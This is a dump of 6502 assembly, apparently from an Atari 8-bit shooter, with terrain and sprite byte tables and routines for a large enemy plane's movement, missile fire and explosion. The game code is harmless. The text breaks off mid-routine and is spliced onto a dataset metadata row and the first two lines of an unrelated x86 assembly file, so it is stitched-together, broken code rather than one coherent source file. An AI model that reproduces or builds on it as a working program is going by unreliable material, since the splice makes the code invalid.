.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
L_A878 .byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
L_A998 .byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
L_AA60 .byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $49, $4A, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $49, $0C, $15, $19, $49, $4A
.byte $4B, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $49, $16, $17, $15, $15, $19, $14
.byte $19, $4B, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $49, $14, $16, $15, $15, $14, $15, $14
.byte $18, $19, $4B, $39, $3A, $39, $3A, $39
L_AB28 .byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $4E, $16, $15, $14, $16, $16, $19, $18
.byte $14, $15, $19, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $4E, $17, $15, $14, $16, $18, $16
.byte $15, $16, $50, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $4E, $17, $19, $15, $19, $14
.byte $19, $50, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
L_ABA8 .byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $4E, $17, $16, $49, $4F
.byte $50, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $39, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $39, $3A, $39, $3A
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $3A, $3A, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $3A, $3A, $39, $3A, $39, $39, $3A
.byte $3A, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_AD20 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_AD50 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_AD98 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_ADB8 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
BIGPLANE_CHECK2 lda ENEMY_MOV_TYPE
bne L_B245
BIGPLANE_ON2 sta $06D3
sta $06D4
sta $06D8
sta $0625
lda #$28
sta ENEMY_Y
sta $06D0
lda #$D0
sta ENEMY_X
sta HPOSP2
clc
adc #$1E
sta HPOSP3
lda #$00
sta $06AC
lda #$90
sta PCOLR3
sta PCOLR2
lda #$03
sta SIZEP2
sta SIZEP3
lda #$0F
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_B245 jsr L_B550
lda $06D0
beq L_B2B2
lda $06D8
bne L_B283
lda BIGPLANE_FIRE_TYPE
bne L_B269
lda ENEMY_X
clc
adc #$14
sta HPOSM0
adc #$14
sta HPOSM1
cmp #$00
bne L_B277
L_B269 lda ENEMY_X
clc
adc #$1A
sta HPOSM0
adc #$07
sta HPOSM1
L_B277 lda ENEMY_Y
clc
adc #$1E
sta ENEMY_BULLET_Y
inc $06D8
L_B283 ldx #$00
ldy ENEMY_BULLET_Y
L_B288 lda MISSILE_GFX,y
and #$FA
sta MISSILE_GFX,y
iny
inx
cpx #$03
bne L_B288
cpy #$B0
bcc L_B2A1
lda #$00
sta $06D8
beq L_B2B2
L_B2A1 sty ENEMY_BULLET_Y
L_B2A4 lda MISSILE_GFX,y
ora #$05
sta MISSILE_GFX,y
iny
inx
cpx #$06
bne L_B2A4
L_B2B2 lda $06D0
beq L_B2FC
inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_B2FC
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
beq L_B2D4
lda #$00
sta BIGPLANE_FIRE_TYPE
cmp #$00
beq L_B2D7
L_B2D4 inc BIGPLANE_FIRE_TYPE
L_B2D7 lda ENEMY_X
clc
adc #$1C
cmp PLANE_X
beq L_B2F0
bcc L_B2ED
dec ENEMY_X
lda #$00
cmp #$00
beq L_B2F0
L_B2ED inc ENEMY_X
L_B2F0 lda ENEMY_X
sta HPOSP2
clc
adc #$1E
sta HPOSP3
L_B2FC ldx #$00
ldy ENEMY_Y
lda $06D0
bne L_B35A
inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$06
bcs L_B311
rts
L_B311 stx ENEMY_MOV_TYPE+1
inc $06D1
lda $06D1
cmp #$10
bcs L_B321
jmp L_B424
L_B321 cmp #$18
bcs L_B338
L_B325 lda L_B50D+6,x
sta PMGFX0+3,y
lda L_B52D+3,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B325
rts
L_B338 txa
L_B339 sta PMGFX0+3,y
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B339
sta ENEMY_MOV_TYPE
sta AUDC4
sta ENEMY_TYPE
lda #$11
sta L_542E+1
jsr L_67E6
jsr L_67E6
rts
L_B35A lda M0PL
and #$0C
bne L_B368
lda M3PL
and #$0C
beq L_B3C0
L_B368 ldy ENEMY_MOV_TYPE+3
ldx #$00
L_B36D lda MISSILE_GFX,y
and #$AF
sta MISSILE_GFX,y
dey
inx
cpx #$0C
bne L_B36D
lda #$00
sta ENEMY_MOV_TYPE+5
sta ENEMY_MOV_TYPE+6
inc $06AC
lda $06AC
cmp #$50
bcc L_B3A9
lda #$00
sta $06D0
sta $06D1
ldx #$00
ldy ENEMY_BULLET_Y
L_B39A lda MISSILE_GFX,y
and #$FA
sta MISSILE_GFX,y
iny
inx
cpx #$03
bne L_B39A
rts
L_B3A9 jsr L_67B8
lda $06D3
bne L_B3B8
inc $06D3
lda #$00
beq L_B3C0
L_B3B8 lda $06D4
bne L_B3C0
inc $06D4
L_B3C0 lda ENEMY_MOV_TYPE+1
bne L_B3F0
lda ENEMY_MOV_TYPE
cmp #$01
bne L_B3E0
lda ENEMY_Y
cmp #$68
bcc L_B3D9
lda #$02
sta ENEMY_MOV_TYPE
rts
L_B3D9 inc ENEMY_Y
lda #$00
beq L_B3F0
L_B3E0 lda ENEMY_Y
cmp #$28
bcs L_B3ED
lda #$01
sta ENEMY_MOV_TYPE
rts
L_B3ED dec ENEMY_Y
L_B3F0 ldx #$00
ldy ENEMY_Y
lda BIGPLANE_FIRE_TYPE
bne L_B40D
L_B3FA lda BIG_PLANE_GFX1C,x
sta PMGFX0+3,y
lda BIG_PLANE_GFX2C+5,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B3FA
rts
L_B40D lda BIG_PLANE_GFX3C+2,x
sta PMGFX0+3,y
lda BIG_PLANE_GFX4C+7,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B40D
rts
nop
nop
nop
nop
L_B424 stx ENEMY_MOV_TYPE+1
lda #$0F
sta AUDC4
lda $06D1
sta AUDF4
lda $06D2
bne L_B44D
L_B437 lda L_B4D5+4,x
sta PMGFX0+3,y
lda L_B4F5+1,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B437
inc $06D2
rts
L_B44D lda BIG_PLANE_GFX1C,x
sta PMGFX0+3,y
lda BIG_PLANE_GFX2C+5,x
sta PMGFX1,y
iny
inx
cpx #$1D
bne L_B44D
lda #$00
sta $06D2
rts
BIG_PLANE_GFX1C .byte $00, $0F, $1F, $1F, $1F, $0E, $01, $01
.byte $01, $01, $01, $01, $13, $7F, $FF, $FF
.byte $EE, $FE, $EF, $7F, $32, $03, $62, $03
BIG_PLANE_GFX2C .byte $01, $01, $00, $06, $00, $00, $F0, $F8
.byte $F8, $F8, $70, $80, $80, $80, $80, $80
.byte $80, $C8, $FE, $FF, $FF, $77, $7F, $F7
.byte $FE, $4C, $C0, $46, $C0, $80, $80, $00
BIG_PLANE_GFX3C .byte $60, $00, $00, $0F, $1F, $1F, $1F, $0E
.byte $01, $01, $01, $01, $01, $01, $13, $7F
.byte $FF, $FF, $EE, $FE, $EF, $7F, $32, $03
BIG_PLANE_GFX4C .byte $1A, $03, $01, $01, $00, $01, $00, $00
.byte $F0, $F8, $F8, $F8, $70, $80, $80, $80
.byte $80, $80, $80, $C8, $FE, $FF, $FF, $77
.byte $7F, $F7, $FE, $4C, $C0, $58, $C0, $80
L_B4D5 .byte $80, $00, $80, $00, $00, $0F, $10, $10
.byte $10, $0E, $01, $01, $01, $01, $01, $01
.byte $02, $7F, $80, $80, $80, $80, $80, $7F
.byte $02, $02, $02, $02, $01, $01, $00, $00
L_B4F5 .byte $00, $00, $F0, $08, $08, $08, $70, $80
.byte $80, $80, $80, $80, $80, $40, $FE, $01
.byte $01, $01, $01, $01, $FE, $40, $40, $40
L_B50D .byte $40, $80, $80, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $44, $AA, $AA, $2A, $4A, $8A
.byte $8A, $AA, $E4, $00, $00, $00, $00, $00
L_B52D .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $44
.byte $AA, $AA, $AA, $AA, $AA, $AA, $AA, $44
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00
L_B550 lda $06D7
beq L_B55C
lda #$00
sta $06D7
beq L_B55F
L_B55C inc $06D7
L_B55F lda $06D3
beq L_B5C1
cmp #$01
bne L_B580
lda #$ED
sta PCOLR0
lda PLANE_X
sec
sbc #$01
sta BIGPLANE_FIRE_TYPE+1
inc $06D3
lda #$00
sta $06D5
beq L_B5C1
L_B580 ldx #$00
lda ENEMY_Y
clc
adc #$10
tay
inc $06D5
lda $06D5
cmp #$04
bcc L_B5A2
txa
L_B594 sta L_33FE+2,y
iny
inx
cpx #$08
bne L_B594
sta $06D3
beq L_B5C1
L_B5A2 lda $06D7
bne L_B5B5
L_B5A7 lda L_B620,x
sta L_33FE+2,y
iny
inx
cpx #$08
bne L_B5A7
beq L_B5C1
L_B5B5 lda L_B628,x
sta L_33FE+2,y
iny
inx
cpx #$08
bne L_B5B5
L_B5C1 lda $06D4
bne L_B5C7
rts
L_B5C7 cmp #$01
bne L_B5E0
sta $06D6
lda #$ED
sta PCOLR1
lda PLANE_X
clc
adc #$0A
sta BIGPLANE_FIRE_TYPE+2
inc $06D4
rts
L_B5E0 ldx #$00
lda ENEMY_Y
clc
adc #$10
tay
inc $06D6
lda $06D6
cmp #$05
bcc L_B601
txa
L_B5F4 sta L_3500,y
iny
inx
cpx #$08
bne L_B5F4
sta $06D4
rts
L_B601 lda $06D7
bne L_B613
L_B606 lda L_B620,x
sta L_3500,y
iny
inx
cpx #$08
bne L_B606
rts
L_B613 lda L_B628,x
sta L_3500,y
iny
inx
cpx #$08
bne L_B613
rts
L_B620 .byte $00, $00, $0E, $1B, $1F, $1B, $0E, $00
L_B628 .byte $00, $10, $44, $82, $82, $44, $10, $00
.byte $00, $77, $60, $74, $74, $60, $60, $60
.byte $28, $44, $44, $40, $4C, $44, $44, $28
.byte $44, $44, $44, $6C, $6C, $44, $44, $44
.byte $7C, $54, $10, $10, $10, $10, $54, $7C
.byte $63, $63, $36, $14, $14, $36, $63, $63
.byte $63, $63, $76, $70, $76, $63, $63, $63
.byte $60, $60, $60, $60, $60, $63, $77, $77
.byte $77, $6B, $6B, $6B, $6B, $63, $63, $63
.byte $36, $77, $63, $63, $63, $63, $63, $63
.byte $36, $77, $63, $63, $63, $63, $77, $36
.byte $68, $44, $44, $44, $68, $40, $40, $40
.byte $36, $77, $63, $63, $63, $67, $77, $37
.byte $68, $44, $44, $44, $68, $68, $48, $44
.byte $37, $77, $60, $76, $37, $03, $77, $76
.byte $77, $77, $55, $14, $14, $14, $14, $14
L_B6A8 .byte $44, $44, $44, $44, $44, $44, $44, $28
.byte $63, $63, $63, $63, $63, $36, $36, $1C
.byte $63, $63, $63, $6B, $6B, $6B, $6B, $77
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $63, $63, $63, $36, $36, $1C, $1C, $1C
lda ENEMY_TYPE
bne L_B6D6
rts
L_B6D6 jsr L_4950
jsr L_4902+1
lda ENEMY_MOV_TYPE
bne L_B6EA
jsr L_55CC+2
jsr L_55B7
jsr L_55B7
L_B6EA jsr L_5760
L_B6ED lda VCOUNT
cmp #$58
bcc L_B6ED
ldx #$26
lda L_9D05+3,x
sta L_9D05+4,x
lda L_9D2D+3,x
sta TSLNUM,x
| 38.79659 | 77 | 0.326077 |
2cb60f69f617ffb374adc5bc6172d2e241a1f7d5 | 7,883 | asm | Assembly | Transynther/x86/_processed/NC/_zr_un_/i7-8650U_0xd2.log_14578_1400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_un_/i7-8650U_0xd2.log_14578_1400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_un_/i7-8650U_0xd2.log_14578_1400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
